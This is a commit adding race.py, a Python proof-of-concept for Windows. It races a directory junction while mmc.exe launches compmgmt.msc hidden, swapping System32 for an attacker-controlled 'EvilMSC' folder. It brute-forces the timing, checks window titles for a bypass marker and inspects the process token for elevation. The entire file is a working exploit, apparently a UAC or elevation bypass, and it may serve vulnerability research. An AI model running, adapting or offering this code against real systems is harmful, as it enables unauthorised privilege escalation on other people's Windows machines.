Add race.py

race.py

@@ -0,0 +1,85 @@
+import ctypes, os, subprocess, time, threading
+
+k32  = ctypes.WinDLL('kernel32', use_last_error=True)
+sh32 = ctypes.WinDLL('shell32',  use_last_error=True)
+adv  = ctypes.WinDLL('advapi32', use_last_error=True)
+u32  = ctypes.WinDLL('user32',   use_last_error=True)
+
+OUTFILE = r'c:\Users\lukas\Documents\PoC new\rolling\poc_brute_silent.txt'
+_f = open(OUTFILE, 'w', encoding='utf-8')
+def log(s): _f.write(s+'\n'); _f.flush()
+
+class SEI(ctypes.Structure):
+    _fields_ = [('cbSize',ctypes.c_ulong),('fMask',ctypes.c_ulong),
+                ('hwnd',ctypes.c_void_p),('lpVerb',ctypes.c_wchar_p),
+                ('lpFile',ctypes.c_wchar_p),('lpParameters',ctypes.c_wchar_p),
+                ('lpDirectory',ctypes.c_wchar_p),('nShow',ctypes.c_int),
+                ('hInstApp',ctypes.c_void_p),('lpIDList',ctypes.c_void_p),
+                ('lpClass',ctypes.c_wchar_p),('hkeyClass',ctypes.c_void_p),
+                ('dwHotKey',ctypes.c_ulong),('hIcon',ctypes.c_void_p),
+                ('hProcess',ctypes.c_void_p)]
+
+JUNC = r'C:\ProgramData\JuncMSC'
+SYS  = r'C:\Windows\System32'
+EVIL = r'C:\ProgramData\EvilMSC'
+MARKER = 'BYPASS_CONFIRMED_7F3A9'
+
+def junc(target):
+    subprocess.run(['rmdir', JUNC], shell=True, capture_output=True)
+    subprocess.run(f'mklink /J "{JUNC}" "{target}"', shell=True, capture_output=True)
+
+def titles():
+    t = []
+    WNDENUMPROC = ctypes.WINFUNCTYPE(ctypes.c_bool, ctypes.c_void_p, ctypes.c_void_p)
+    def cb(h, _):
+        b = ctypes.create_unicode_buffer(512)
+        u32.GetWindowTextW(h, b, 512)
+        if b.value: t.append(b.value)
+        return True
+    u32.EnumWindows(WNDENUMPROC(cb), 0)
+    return t
+
+def try_delay(ms):
+    subprocess.run(['taskkill','/F','/IM','mmc.exe'], capture_output=True)
+    time.sleep(0.25)
+    junc(SYS)
+
+    sei = SEI(); sei.cbSize = ctypes.sizeof(sei); sei.fMask = 0x40
+    sei.lpFile = r'C:\Windows\System32\mmc.exe'
+    sei.lpParameters = f'"{JUNC}\\compmgmt.msc"'
+    sei.nShow = 0  # SW_HIDE
+
+    hp = [None]
+    def run(): sh32.ShellExecuteExW(ctypes.byref(sei)); hp[0] = sei.hProcess
+    t = threading.Thread(target=run, daemon=True)
+    t.start()
+    time.sleep(ms / 1000.0)
+    junc(EVIL)
+    t.join(timeout=8)
+
+    time.sleep(2.5)
+    found = any(MARKER in x for x in titles())
+    real  = any('Computer Management' in x and MARKER not in x for x in titles())
+    elev  = False
+    if hp[0]:
+        tok = ctypes.c_void_p(0)
+        adv.OpenProcessToken(hp[0], 0x8, ctypes.byref(tok))
+        if tok.value:
+            e = ctypes.c_ulong(0); r = ctypes.c_ulong(0)
+            adv.GetTokenInformation(tok, 20, ctypes.byref(e), 4, ctypes.byref(r))
+            elev = bool(e.value)
+            k32.CloseHandle(tok)
+        k32.CloseHandle(hp[0])
+    subprocess.run(['taskkill','/F','/IM','mmc.exe'], capture_output=True)
+    subprocess.run(['rmdir', JUNC], shell=True, capture_output=True)
+    verdict = 'EVIL' if found else ('REAL' if real else ('ELEV_NOWIN' if elev else 'REJECT'))
+    log(f'{ms}ms -> {verdict} elev={elev}')
+    return found
+
+log(f'evil msc: {os.path.getsize(EVIL+chr(92)+"compmgmt.msc")} bytes  marker={MARKER}')
+for ms in range(50, 350, 5):
+    if try_delay(ms):
+        log(f'WIN @ {ms}ms')
+        break
+log('done')
+_f.close()